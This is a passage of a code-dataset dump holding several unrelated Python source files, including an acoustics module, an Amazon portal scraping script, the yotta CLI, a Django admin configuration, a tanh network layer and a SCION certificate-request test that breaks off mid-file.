h) / (0.391 + h) )\n        \n        ##\"\"\"Relaxation frequency of nitrogen.\"\"\"\n        ##f_rN = p_a / p_r * (T/T0)**(-0.5) * (9.0 + 280.0 * h * np.exp(-4.170 * ((T/T0)**(-1.0/3.0) - 1.0 ) ) )\n        \n        ##alpha = 8.686 * f**2.0 * ( ( 1.84 * 10.0**(-11.0) * (p_r/p_a) * (T/T0)**(0.5)) + (T/T0)**(-2.5) * ( 0.01275 * np.exp(-2239.1 / T) * (f_rO + (f**2.0/f_rO))**(-1.0) + 0.1068 * np.exp(-3352.0/T) * (f_rN + (f**2.0/f_rN))**(-1.0) ) )\n        \n        ##return alpha\n    \n    def ir_attenuation_coefficient(self, d, fs=44100, N=2048, sign=+1):\n        \"\"\"\n        Calculate the impulse response due to air absorption.\n        \n        :param fs: Sample frequency\n        :param d: Distance\n        :param N: Blocks\n        :param sign: Multiply (+1) or divide (-1) by transfer function. Multiplication is used for applying the absorption while -1 is used for undoing the absorption.\n        \"\"\" \n        \n        d = d if isinstance(d, np.ndarray) else np.array([d])\n        \n        f = np.linspace(0.0, fs/2.0, N/2.0) # Frequency vector. A bin for every signal sample.\n        \n        tf = np.zeros((len(d), len(f)), dtype='complex')                          # Transfer function needs to be complex, and same size.\n        tf += 10.0**( float(sign) * d.reshape((-1,1)) * self.attenuation_coefficient(f) / 20.0  )  # Calculate the actual transfer function.\n        \n        #print('TF: ' + str(tf.shape))\n        \n        #tf = np.concatenate( ( tf, np.conj(tf[::-1]) ))                 \n        tf = np.hstack( (tf, np.conj(tf[::-1, :]))) # Positive frequencies first, and then mirrored the conjugate negative frequencies.\n        \n        #print('TF reshaped: ' + str(tf.shape))\n        \n        #n = 2**int(np.ceil(np.log2(len(tf))))   # Blocksize for the IFFT. Zeros are padded.\n\n        ir = ifft( tf , n=N)     # Obtain the impulse response through the IFFT.\n        \n        ir = np.hstack((ir[:, N/2:N], ir[:, 0:N/2]))\n        \n        #ir = np.real(ir[0:N/2])\n        \n        ir = np.real(ir).T\n        \n        return ir   # Note that the reduction is a factor two too much! Too much energy loss now that we use a double-sided spectrum.\n    \n    def plot_ir_attenuation_coefficient(self, fs, N, d, filename=None):\n        \"\"\"\n        Plot the impulse response of the attenuation due to atmospheric absorption.\n        The impulse response is calculated using :meth:`ir_attenuation_coefficient`.\n        \n        :param filename: Filename\n        :param fs: Sample frequency\n        :param N: Blocks\n        :param d: Distance\n        \n        \"\"\"\n        fig = plt.figure()\n        \n        ax0 = fig.add_subplot(111)\n        ax0.set_title('Impulse response atmospheric attenuation')\n        \n        ir = self.ir_attenuation_coefficient(fs, N, d)\n        \n        xsignal = np.arange(0.0, len(ir)) / fs\n        ax0.plot(xsignal, ir)\n        ax0.set_xlabel(r'$t$ in s')\n        ax0.set_ylabel(r'Some')\n        ax0.set_yscale('log')\n        ax0.grid()\n        \n        if filename:\n            fig.savefig(filename)\n        else:\n            fig.show()\n    \n    \n    \n    def plot_attenuation_coefficient(self, frequency, filename=None):\n        \"\"\"\n        Plot the attenuation coefficient :math:`\\\\alpha` as function of frequency and write the figure to ``filename``.\n        \n        :param filename: Filename\n        :param frequency: Frequencies\n        \n        .. note:: The attenuation coefficient is plotted in dB/km!\n        \n        \"\"\"\n        fig = plt.figure()\n        ax0 = fig.add_subplot(111)\n        \n        ax0.plot(frequency, self.attenuation_coefficient(frequency)*1000.0)\n        ax0.set_xscale('log')\n        ax0.set_yscale('log')\n        ax0.set_xlabel(r'$f$ in Hz')\n        ax0.set_ylabel(r'$\\alpha$ in dB/km')\n        \n        ax0.legend()\n        ax0.grid()\n        \n        if filename:\n            fig.savefig(filename)\n        else:\n            fig.show()\n            \n","sub_path":"acoustics/atmosphere.py","file_name":"atmosphere.py","file_ext":"py","file_size_in_byte":14017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"292277070","text":"\"\"\"\n@ Author - Krishnabhashkar jha\n@ Creation date - 17/01/2020\n@ Description - Declares all the Methods to be used at the Process Level.\n\"\"\"\n\nimport time\nimport shutil\nimport os\nimport datetime\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom Applications.Workflows.Analytics.RetailerPortalScraping.AmazonPortal.AmazonSuppliers import AmazonSuppliers\nfrom Applications.Workflows.Analytics.RetailerPortalScraping.Utilites.LogFileUtility import LogFileUtility as lo\n\nclass AmazonPortalMain():\n\n    def __init__(self):\n        chrome_option = Options()\n        chrome_option.add_argument(\"--user-data-dir=C:/Users/Krishnabhashkar.Jha/AppData/Local/Google/Chrome/User Data\")\n        self.v_Browser = webdriver.Chrome(executable_path='C:/driver/chromedriver', chrome_options=chrome_option)\n        self.v_Browser.maximize_window()\n        self.lo = lo\n\n    def Execute_Main(self):\n        try:\n            var_pathName = \"C:\\Automation\\Amazon\"\n            shutil.rmtree(var_pathName)\n            os.makedirs(\"C:\\Automation\" + \"\\\\\" + 'Amazon')\n            Days = datetime.datetime.now()\n            var_foldername = Days.strftime(\"%d-%b-%Y\")\n            var_pathName = \"C:\\Automation\\Amazon\" + \"\\\\\" + var_foldername\n            if os.path.exists(var_pathName):\n                shutil.rmtree(var_pathName)\n            if not os.path.exists(var_pathName):\n                try:\n                    os.makedirs(\"C:\\Automation\\Amazon\" + \"\\\\\" + var_foldername)\n                    os.makedirs(r'C:\\\\Automation\\Amazon' + \"\\\\\" + var_foldername + \"\\\\\" + 'AmazonPortal')\n                    self.lo.log_to_file(self, \"INFO\", \"Folder created For AmazonPortal.\")\n                finally:\n                    Main_Methods = AmazonSuppliers(self.v_Browser, self.lo)\n                    Main_Methods.Execute_AmazonSuppliers()\n                    self.lo.log_to_file(self, \"INFO\", \"Download Complete for AmazonPortal\")\n                    shutil.make_archive(r'C:\\Automation\\BackUp\\Reports' + var_foldername, 'zip', 'C:/Automation/Amazon')\n\n        except Exception as e:\n            self.lo.log_to_file(self, \"ERROR\", \"Exception:\" + str(e))\n\n\n\n\n\n\n\n\n","sub_path":"Applications/Workflows/Analytics/RetailerPortalScraping/AmazonPortal/AmazonPortal_Main.py","file_name":"AmazonPortal_Main.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"334950369","text":"# standard library modules, , ,\nimport argparse\nimport logging\nimport sys\nimport platform\nimport pkg_resources\n\n# subcommand modules, , add subcommands, internal\nfrom . import version\nfrom . import link\nfrom . import link_target\nfrom . import install\nfrom . import update\nfrom . import target\nfrom . import build\nfrom . import init\nfrom . import publish\nfrom . import debug\nfrom . import login\nfrom . import logout\nfrom . import list\nfrom . import uninstall\nfrom . import owners\n\nfrom lib import logging_setup\n\n# settings, , load and save settings, internal\nfrom lib import settings\n\ndef logLevelFromVerbosity(v):\n    return max(1, logging.INFO - v * (logging.ERROR-logging.NOTSET) / 5)\n\ndef defaultTarget():\n    set_target = settings.getProperty('build', 'target')\n    if set_target:\n        return set_target\n\n    machine = platform.machine()\n\n    x86 = machine.find('86') != -1\n    arm = machine.find('arm') != -1 or machine.find('aarch') != -1\n\n    prefix = \"x86-\" if x86 else \"arm-\" if arm else \"\"\n    platf = 'unknown'\n\n    if sys.platform == 'linux':\n        platf = 'linux-native'\n    elif sys.platform == 'darwin':\n        platf = 'osx-native'\n    elif sys.platform.find('win') != -1:\n        platf = 'win'\n    return prefix + platf + ','\n\ndef main():\n    parser = argparse.ArgumentParser()\n    subparser = parser.add_subparsers(metavar='{install, update, version, link, link-target, target, build, init, publish, login, logout, list, uninstall, owners}')\n\n    parser.add_argument('--version', dest='show_version', action='version',\n            version=pkg_resources.require(\"yotta\")[0].version,\n        help='display the version'\n    )\n    parser.add_argument('-v', '--verbose', dest='verbosity', action='count',\n        default=0,\n        help='increase verbosity: can be used multiple times'\n    )\n    parser.add_argument('-d', '--debug', dest='debug', action='append',\n        metavar='SUBSYS',\n        help='specify subsystems to debug: use in conjunction with -v to '+\n             'increase the verbosity only for specified subsystems'\n    )\n\n    parser.add_argument('-t', '--target', dest='target',\n        default=defaultTarget(),\n        help='Set the build and dependency resolution target (targetname[,versionspec_or_url])'\n    )\n\n    def addParser(name, module, description):\n        parser = subparser.add_parser(name, description=description)\n        module.addOptions(parser)\n        parser.set_defaults(command=module.execCommand)\n\n    addParser('version', version, 'Bump the module version, or (with no arguments) display the current version.')\n    addParser('link', link, 'Symlink a module.')\n    addParser('link-target', link_target, 'Symlink a target.')\n    addParser('install', install, 'Install dependencies for the current module, or a specific module.')\n    addParser('update', update, 'Update dependencies for the current module, or a specific module.')\n    addParser('target', target, 'Set or display the target device.')\n    addParser('build', build, 'Build the current module.')\n    addParser('debug', debug, 'Attach a debugger to the current target.  Requires target support.')\n    addParser('init', init, 'Create a new module.')\n    addParser('publish', publish, 'Publish a module or target to the public registry.')\n    addParser('login', login, 'Authorize for access to private github repositories and publishing to the yotta registry.')\n    addParser('logout', logout, 'Remove saved authorization token for the current user.')\n    addParser('list', list, 'List the dependencies of the current module.')\n    addParser('uninstall', uninstall, 'Remove a specific dependency of the current module.')\n    addParser('owners', owners, 'Add/remove/display the owners of a module or target.')\n\n    # short synonyms, subparser.choices is a dictionary, so use update() to\n    # merge in the keys from another dictionary\n    subparser.choices.update({\n            'up':subparser.choices['update'],\n            'in':subparser.choices['install'],\n            'ln':subparser.choices['link'],\n             'v':subparser.choices['version'],\n            'ls':subparser.choices['list'],\n        'unlink':subparser.choices['uninstall'],\n            'rm':subparser.choices['uninstall'],\n         'owner':subparser.choices['owners']\n    })\n\n    args = parser.parse_args() \n\n    loglevel = logLevelFromVerbosity(args.verbosity)\n    logging_setup.init(level=loglevel, enable_subsystems=args.debug)\n    \n    # finally, do stuff!\n    status = args.command(args)\n\n    sys.exit(status or 0)\n\n","sub_path":"yotta/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"422542841","text":"\"\"\"\nchapter 7\nex 7.7 패스너스 데코레이터 사용하기\n\"\"\"\n\nimport time\n\nimport fasteners\n\n@fasteners.interprocess_locked('/tmp/tmp_lock_file')\ndef locked_print():\n    for i in range(10):\n        print(\"I have the lock\")\n        time.sleep(0.1)\n\nlocked_print()\n\n\"\"\"\nsingle point of failure(단일 장애점)이 없으므로 local process 사이의 잠금 처리에\n좋은 방법이다\n\"\"\"\n","sub_path":"daily-programming/2019/11/ch-07-lock-mgmt/07_fasteners-decorator.py","file_name":"07_fasteners-decorator.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"467487461","text":"from typing import List\n\nfrom lang.hyperparameters import HyperParameters\n\n\nclass NeuralAssembly:\n    \"\"\"\n    Neural assembly is a stable activity pattern belonging to a certain area\n    \"\"\"\n    def __init__(self, id: str, container):\n        from neurons.neuro_container import NeuroContainer\n        self.pattern: str = None\n        # self.phonetic_pattern: str = None\n        self.id = id\n        self.firing = False\n        self.fired = False\n        self.container: NeuroContainer = container\n        self.perceptual = False\n        self.is_combined = False\n        self.is_joint = False\n        self.is_tone = False\n        self.doped = False\n        self.firing_ticks = []\n        self.firing_history = {}\n        self.potential = 0\n        self.threshold = 2\n        # self.capacity = 0\n        self.formed_at = 0\n        self.last_fired_at = 0\n        self.hierarchy_level = 0\n        self.firing_count = 1\n        self.contributors = []\n        self.fired_contributors: List[NeuralAssembly] = []\n        self._area: 'NeuralArea' = None\n        self.is_winner = False # for Winner Takes It All Strategy areas\n        self.source_assemblies = []\n        self.source_area = None # for tone-bases assemblies\n        self.activated = False\n\n    @property\n    def area(self):\n        \"\"\"\n        Area this NA belongs to\n        :return:\n        \"\"\"\n        return self._area\n\n    @area.setter\n    def area(self, val):\n        if self._area and self._area != val:\n            raise Exception(f'NeuralAssembly.set_area(): The area of {self} is already set')\n        self._area = val\n        msg_data = {\n            'assembly': self,\n            'area': val\n        }\n        self.container.agent.queue_message('assembly_attached_to_area', msg_data)\n\n    @property\n    def is_visual(self):\n        return self.pattern.startswith('v:') and ('+' not in self.pattern)\n\n    @property\n    def cleaned_pattern(self):\n        if ':' not in self.pattern:\n            return self.pattern\n        last_colon_position = self.pattern[::-1].index(':')\n        return self.pattern[len(self.pattern) - last_colon_position:].strip()\n\n    def update(self, current_tick: int):\n        self.fired = False\n        area = self.area\n        if current_tick in area.inhibited_at_ticks:\n            self.potential = 0\n            return\n        if area.winner_takes_it_all_strategy:\n            if self.is_winner:\n                self.firing = True\n        else:\n            if self.potential >= self.threshold or current_tick in self.firing_ticks:\n                self.firing = area.allow_firing(self)\n\n        if self.firing:\n            self.last_fired_at = current_tick\n            self.fired = True\n            self.firing = False\n            connections = self.container.get_assembly_outgoing_connections(na=self)\n            for conn in connections:\n                conn.pulsing = True\n            self.firing_history[self.container.current_tick] = list(self.fired_contributors)\n            area.on_fire(self)\n        # else:\n        self.fired_contributors.clear()\n        self.potential = 0\n        self.is_winner = False\n\n    def on_doped(self, current_tick: int):\n        \"\"\"\n        Invoked whenever dopamine reaches the assembly\n        :return:\n        \"\"\"\n        self.doped = True\n        fired_contributors = self.fired_contributors\n        if not fired_contributors:\n            # it might be invoked from another DOPEd assembly\n            # take fired contributors from the history then\n            fired_contributors = self.firing_history[self.last_fired_at]\n        for na in fired_contributors:\n            # TODO: consider moving this hardcoded rule into a neural areas config file\n            if self.area in na.area.double_activation_from:\n                connection = self.container.get_connection_between_nodes(self, na)\n                if not connection:\n                    connection = self.container.create_connection(source=self, target=na)\n                connection.multiplier = 2\n            if na.area in self.area.double_activation_from:\n                connection = self.container.get_connection_between_nodes(na, self)\n                connection.multiplier = 2\n\n    def is_successor_of(self, na: 'NeuralAssembly') -> bool:\n\n        def find_in_sources(assembly: 'NeuralAssembly') -> bool:\n            for a in assembly.source_assemblies:\n                if a == na:\n                    return True\n            for a in assembly.source_assemblies:\n                result = find_in_sources(a)\n                if result:\n                    return True\n            return False\n\n        if na == self:\n            return True\n        return find_in_sources(self)\n\n    def _repr(self):\n        return f'\"{self.pattern}\" id: {self.id}'\n\n    def __repr__(self):\n        return self._repr()\n\n    def __str__(self):\n        return self._repr()","sub_path":"src/lang/neural_assembly.py","file_name":"neural_assembly.py","file_ext":"py","file_size_in_byte":4853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"275959391","text":"'''\nScript to update modlist.html from manifest.json\n'''\n\nimport json\nfrom urllib import request, parse\n\ndef get_modlist_from_manifest():\n    '''\n    Will return the modlist array.\n    Each element will be a dictionary.\n    Each element will have: projectID, fileID, and required\n    '''\n    with open('manifest.json') as json_file:\n        data_str = json_file.read()\n    data_dict = json.loads(data_str)\n    return data_dict[\"files\"]\n\ndef modlist_from_curseforge(ids):\n    '''\n    Fetches the list of mods from curseforge using the provided ids\n    '''\n    # See: https://twitchappapi.docs.apiary.io/#/reference/0/get-multiple-addons/get-multiple-addons/200?mc=reference%2F0%2Fget-multiple-addons%2Fget-multiple-addons%2F200\n\n    req = request.Request(\"https://addons-ecs.forgesvc.net/api/v2/addon\")\n    req.add_header('Content-Type', 'application/json; charset=utf-8')\n    post_data_json = json.dumps(ids)\n    post_data_bytes = post_data_json.encode('utf-8')\n    resp_str = request.urlopen(req, post_data_bytes).read()\n    resp_json = json.loads(resp_str)\n    return resp_json \n\ndef main():\n    modlist = get_modlist_from_manifest()\n    mod_ids = [x[\"projectID\"] for x in modlist]\n    cf_modlist = modlist_from_curseforge(mod_ids)\n    # Sort the mod list by name:\n    cf_modlist.sort(key=lambda d: d[\"name\"])\n    # print out the new modlist.html\n    with open('modlist.html', 'w') as f:\n        f.write(\"<ul>\\n\")\n        for mod in cf_modlist:\n            f.write(\"<li>\")\n            f.write(\"<a href='{}'>\".format(mod[\"websiteUrl\"]))\n            f.write(mod[\"name\"])\n            authors = [a[\"name\"] for a in mod[\"authors\"]]\n            f.write(\" (by {})\".format(\", \".join(authors)))\n            f.write(\"</a>\")\n            f.write(\"</li>\\n\")\n        f.write(\"</ul>\\n\")\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"scripts/update_modlist.py","file_name":"update_modlist.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"567891544","text":"import pygame as pg\nfrom random import uniform\nfrom random import randint\n\n\nclass Obstacle(pg.sprite.Sprite):\n    image = pg.Surface((5, 5), pg.SRCALPHA)\n    pg.draw.polygon(image, pg.Color('yellow'),\n                    [(0, 0), (5, 0), (5,5), (0, 5)])\n\n    max_x = 0\n    max_y = 0\n\n\n    def __init__(self,pos):\n        super(Obstacle, self).__init__()\n\n        if Obstacle.max_x == 0:\n            info = pg.display.Info()\n            Obstacle.max_x = info.current_w\n            Obstacle.max_y= info.current_h\n\n        self.image = Obstacle.image.copy()\n        self.rect = self.image.get_rect()\n\n        self.pos = pg.math.Vector2(\n            pos[0],\n            pos[1])\n        self.rect = self.image.get_rect(center=self.pos)\n","sub_path":"proposed_method/obstacle.py","file_name":"obstacle.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"163144519","text":"# coding: utf-8\n\nfrom django import forms\nfrom django.contrib import admin\nfrom django.contrib.admin.filters import SimpleListFilter\nfrom django.contrib.admin.widgets import ForeignKeyRawIdWidget, \\\n  ManyToManyRawIdWidget\nfrom django.core.urlresolvers import reverse\nfrom django.db.models.query_utils import Q\nfrom django.utils.encoding import smart_unicode\nfrom django.utils.html import escape\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom dataman.models import DataContainer, Data\nfrom tasks.models import Task, ShellTask, ChannelTask\n\n\n#################################################\n### See: http://djangosnippets.org/snippets/2217/\n# SHOULD GO INTO OicomDjango!!!\nclass VerboseForeignKeyRawIdWidget(ForeignKeyRawIdWidget):\n    def label_for_value(self, value):\n        key = self.rel.get_related_field().name\n        try:\n            obj = self.rel.to._default_manager.using(self.db).get(**{key: value})\n            change_url = reverse(\n                \"admin:%s_%s_change\" % (obj._meta.app_label, obj._meta.object_name.lower()),\n                args=(obj.pk,)\n            )\n            return '&nbsp;<strong><a href=\"%s\">%s</a></strong>' % (change_url, escape(obj))\n        except (ValueError, self.rel.to.DoesNotExist):\n            return '???'\n\nclass VerboseManyToManyRawIdWidget(ManyToManyRawIdWidget):\n    def label_for_value(self, value):\n        values = value.split(',')\n        str_values = []\n        key = self.rel.get_related_field().name\n        for v in values:\n            try:\n                obj = self.rel.to._default_manager.using(self.db).get(**{key: v})\n                x = smart_unicode(obj)\n                change_url = reverse(\n                    \"admin:%s_%s_change\" % (obj._meta.app_label, obj._meta.object_name.lower()),\n                    args=(obj.pk,)\n                )\n                str_values += ['<strong><a href=\"%s\">%s</a></strong>' % (change_url, escape(x))]\n            except self.rel.to.DoesNotExist:\n                str_values += [u'???']\n        return u', '.join(str_values)\n\n#################################################\n### Entità di base\n#################################################\nclass CommonAdmin(admin.ModelAdmin):\n  save_on_top = True\n  list_display = ('__unicode__','ord',)\n  search_fields = ('name',)\n  fieldsets = (\n    (None, {\n        'fields': (('name','ord',),)\n    }),\n    ('Descrizione', {\n        'fields': ('descr',),\n    }),\n  )\n\n  def formfield_for_dbfield(self, db_field, **kwargs):\n    u\"\"\"\n    For \"descr_XX\" fields, use a suitably large textarea widget\n    \"\"\"\n    formfield = super(CommonAdmin, self).formfield_for_dbfield(db_field, **kwargs)\n    if db_field.name.startswith('descr'):\n      attrs = formfield.widget.attrs or {}\n      attrs.update({'cols': '80', 'rows': '10', 'style': 'width: 80em;'})        \n      formfield.widget = forms.Textarea(attrs=attrs)\n      \n    #see: http://djangosnippets.org/snippets/2217/\n    if db_field.name in self.raw_id_fields:\n      kwargs.pop(\"request\", None)\n      reltype = db_field.rel.__class__.__name__\n      if reltype == \"ManyToOneRel\":\n        formfield.widget = VerboseForeignKeyRawIdWidget(db_field.rel, self.admin_site)\n      elif reltype == \"ManyToManyRel\":\n        formfield.widget = VerboseManyToManyRawIdWidget(db_field.rel, self.admin_site)\n    return formfield  \n\n#################################################\nclass DataContainerAdmin(CommonAdmin):\n  list_display = CommonAdmin.list_display + ('url',)\n  fieldsets = CommonAdmin.fieldsets + (\n    (None, {\n        'fields': ('url',)\n    }),\n  )    \nadmin.site.register(DataContainer,DataContainerAdmin)\n\n#################################################\nclass DataTaskInline(admin.TabularInline):\n  model = getattr(Data.dependencies,'through')   #avoid PyDev error for Soggetto.dependencies.through  \n  fk_name = 'data'\n  extra = 0           #nessun record già pronto per la aggiunta\n  max_num = None      #consente aggiunta di infiniti record inline\n  fields = ('dep','task','ord',)\n  raw_id_fields = ('dep',)\n        \n#################################################\nclass DataAdmin(CommonAdmin):\n  list_display = CommonAdmin.list_display\n  list_filter = ('container',)\n  inlines = [DataTaskInline]\n  fieldsets = (\n    (None, {\n        'fields': ('container',)\n    }),\n  ) + CommonAdmin.fieldsets    \nadmin.site.register(Data,DataAdmin)\n","sub_path":"dataman/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":4358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"340135795","text":"import numpy as np\nimport copy\n\n# tanh function\ndef tanh(trigger):\n\treturn (np.exp(trigger)-np.exp(-trigger))/(np.exp(trigger)+np.exp(-trigger))\n\n# class of tanh layer\nclass TanhLayer(object):\n\tdef __init__(self,num_input,num_output):\n\t# example: TanhLayer(dimension of input data,dimension of output data)\n\t\tself.num_input = num_input\n\t\tself.num_output = num_output\n\t\tself.num_layer = 1\n\t\tself.theta = [np.asarray(\n\t\t\tnp.random.normal(0,np.sqrt(1.0/float(self.num_output)),[self.num_output,self.num_input]),\n\t\t\tdtype='float')]\n\t\tself.bias = [np.asarray(\n\t\t\tnp.random.normal(0,np.sqrt(1.0/float(self.num_output)),self.num_output),\n\t\t\tdtype='float')]\n\t\tself.d_theta = [np.zeros([self.num_output,self.num_input],dtype='float')]\n\t\tself.d_bias = [np.zeros(self.num_output,dtype='float')]\n\t\tself.delta = []\n\t\tself.trigger = []\n\t\tself.activation = []\n\t\t# gradient check\n\t\tself.theta_check = []\n\t\tself.bias_check = []\n\t\n\t# copy parameters for gradient check\n\tdef cloneParameter(self):\n\t# example: cloneParameter()\n\t\tself.theta_check = copy.deepcopy(self.theta)\n\t\tself.bias_check = copy.deepcopy(self.bias)\n\t# calculate output of current without affecting activation or trigger\n\tdef pseudoForward(self,val_input):\n\t# example: pseudoForward(input data)\n\t\ttrigger = [] \n\t\tactivation = []\n\t\ttrigger.extend([np.dot(self.theta_check[0],val_input)+self.bias_check[0]])\n\t\tactivation.extend([tanh(trigger[0])])\n\t\treturn activation[self.num_layer-1]\n\n\t# calculate activation of current layer\n\tdef forward(self,val_input):\n\t# example: forward(input data)\n\t\tself.trigger = [] # reset trigger value\n\t\tself.activation = [] #reset activation\n\t\tself.trigger.extend([np.dot(self.theta[0],val_input)+self.bias[0]])\n\t\tself.activation.extend([tanh(self.trigger[0])])\n\t\n\t# get activation of current layer\n\tdef getActivation(self):\n\t# example: getActivation()\n\t\treturn self.activation[self.num_layer-1]\n\n\t# calculate derivative of parameters in current layer\n\tdef backward(self,error,val_input,check_layer=0):\n\t# example: backward(derivative with respect to activation,input data,gradient check on/off)\n\t\t# derivative with respect to trigger\n\t\terror = error * 4/(np.exp(self.trigger[0])+np.exp(-self.trigger[0]))**2\n\t\tself.delta = [] # reset error\n\t\tself.delta.extend([error])\n\t\t# accumulate derivative\n\t\tself.d_theta[0] += np.outer(self.delta[0],val_input)\n\t\tself.d_bias[0] += self.delta[0]\n\t\t# display derivative of parameters in current layer for gradient check\n\t\tif check_layer>0:\n\t\t\tprint('backpropagate derivative theta in layer'+str(check_layer)+':')\n\t\t\tprint(np.outer(self.delta[0],val_input))\n\t\t\tprint('backpropagate derivative bias in layer '+str(check_layer)+':')\n\t\t\tprint(self.delta[0])\n\n\t# calculate error for previous layer\n\tdef getPreError(self):\n\t# example: getPreError()\n\t\treturn np.dot(self.theta[0].T,self.delta[0])\n\n\t# regularization\n\tdef regularization(self,C):\n\t# example: regularization(regularization weight)\n\t\tself.d_theta[0] += C * self.theta[0]\n\t\tself.d_bias[0] += C * self.bias[0]\n\n\t# update parameters\n\tdef update(self,rate,batch):\n\t# example: update(learning rate,batch size)\n\t\tself.theta[0] -= rate*self.d_theta[0]/float(batch)\n\t\tself.bias[0] -= rate*self.d_bias[0]/float(batch)\n\n\t# reset derivative of theta and bias\n\tdef resetDerivative(self):\n\t# example: resetDerivative()s\n\t\tself.d_theta = []\n\t\tself.d_bias = []\n\t\tself.d_theta.extend([np.zeros([self.num_output,self.num_input],dtype='float')])\n\t\tself.d_bias.extend([np.zeros(self.num_output,dtype='float')])\n\n\t# display information of current layer\n\tdef show(self):\n\t# example: show()\n\t\tprint('tanh layer')\n\t\tprint('---------------------------------------')\n\t\tprint('number of layer:  '+str(self.num_layer))\n\t\tprint('number of input:  '+str(self.num_input))\n\t\tprint('number of output: '+str(self.num_output))\n\n\n\n\n\t\t","sub_path":"neural/tanh_layer.py","file_name":"tanh_layer.py","file_ext":"py","file_size_in_byte":3771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"362010384","text":"#coding=utf-8\n#  处理中文\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\ndef get_brand(collection1, collection2, comment):\n    #  搜索商品id\n    for item1 in collection1.find({\"content\":comment}):\n        product_id = item1[\"product_id\"]\n        for item2 in collection2.find({\"product_id\": str(product_id)}):\n            brand_id = item2[\"brand_name\"]\n            return brand_id","sub_path":"get_brand.py","file_name":"get_brand.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"492036136","text":"#!/usr/bin/env python3\n\n# Just testing out how to access github from python\n\nimport urllib.request\nimport urllib\nfrom vpv import __version__\nimport socket\n\ndef get_latest_github_version():\n\n    socket.setdefaulttimeout(4)\n    try:\n        response = urllib.request.urlopen('https://github.com/mpi2/vpv/releases/latest', timeout=4)\n    except (urllib.request.URLError, IOError):\n        print('timed out')\n        return False\n\n    resolves_to = response.url\n    latest_version = resolves_to.split('/')[-1].strip('v')\n\n    current_version = __version__\n\n    if current_version < latest_version:\n        return resolves_to\n    else:\n        return False\n","sub_path":"vpv/utils/github.py","file_name":"github.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"603605396","text":"#!/usr/bin/python3\n# Copyright 2016 ETH Zurich\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#   http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\n:mod:`cert_req_est` --- SCION certificate request tests\n=======================================================\n\"\"\"\n\n# Stdlib\nimport logging\nimport threading\n\n# SCION\nimport lib.app.sciond as lib_sciond\nfrom lib.main import main_wrapper\nfrom lib.packet.ctrl_pld import CtrlPayload\nfrom lib.packet.cert_mgmt import CertChainRequest, CertMgmt, TRCRequest\nfrom lib.packet.path import SCIONPath\nfrom lib.packet.scion import SCIONL4Packet, build_base_hdrs\nfrom lib.packet.scion_addr import SCIONAddr\nfrom lib.types import ServiceType\nfrom integration.base_cli_srv import (\n    get_sciond_api_addr,\n    setup_main,\n    ResponseRV,\n    TestClientBase,\n    TestClientServerBase,\n)\n\n\nclass TestCertClient(TestClientBase):\n    def __init__(self, finished, addr, dst_ia):\n        # We need the lib sciond here already.\n        connector = lib_sciond.init(get_sciond_api_addr(addr))\n        cs_info = lib_sciond.get_service_info(\n            [ServiceType.CS], connector=connector)[ServiceType.CS]\n        cs = cs_info.host_info(0)\n        cs_addr = SCIONAddr.from_values(addr.isd_as, cs.ipv4() or cs.ipv6())\n        self.cert = None\n        super().__init__(\"\", finished, addr, cs_addr, cs.p.port, retries=2)\n        self.dst_ia = dst_ia\n\n    def _get_path(self, api, flush=None):\n        pass  # No path required. All queries go to local CS\n\n    def _build_pkt(self):\n        cmn_hdr, addr_hdr = build_base_hdrs(self.dst, self.addr)\n        l4_hdr = self._create_l4_hdr()\n        spkt = SCIONL4Packet.from_values(\n            cmn_hdr, addr_hdr, SCIONPath(), [], l4_hdr)\n        spkt.set_payload(self._create_payload(spkt))\n        spkt.update()\n        return spkt\n\n    def _create_payload(self, _):\n        if not self.cert:\n            return CtrlPayload(CertMgmt(CertChainRequest.from_values(self.dst_ia, 0)))\n        return CtrlPayload(CertMgmt(TRCRequest.from_values(self.dst_ia, 0)))\n\n    def _handle_response(self, spkt):\n        cpld = spkt.parse_payload()\n        cmgt = cpld.union\n        pld = cmgt.union\n        logging.debug(\"Got:\\n%s\", spkt)\n        if not self.cert:\n            if (self.dst_ia, 0) == pld.chain.get_leaf_isd_as_ver():\n                logging.debug(\"Cert query success\")\n                self.cert = pld.chain\n                return ResponseRV.CONTINUE\n            logging.error(\"Cert query failed\")\n            return ResponseRV.FAILURE\n        if (self.dst_ia[0], 0) == pld.trc.get_isd_ver():\n            self.cert.verify(str(self.dst_ia), pld.trc)\n            logging.debug(\"TRC query success\")\n            self.success = True\n            self.finished.set()\n            return ResponseRV.SUCCESS\n        logging.error(\"TRC query 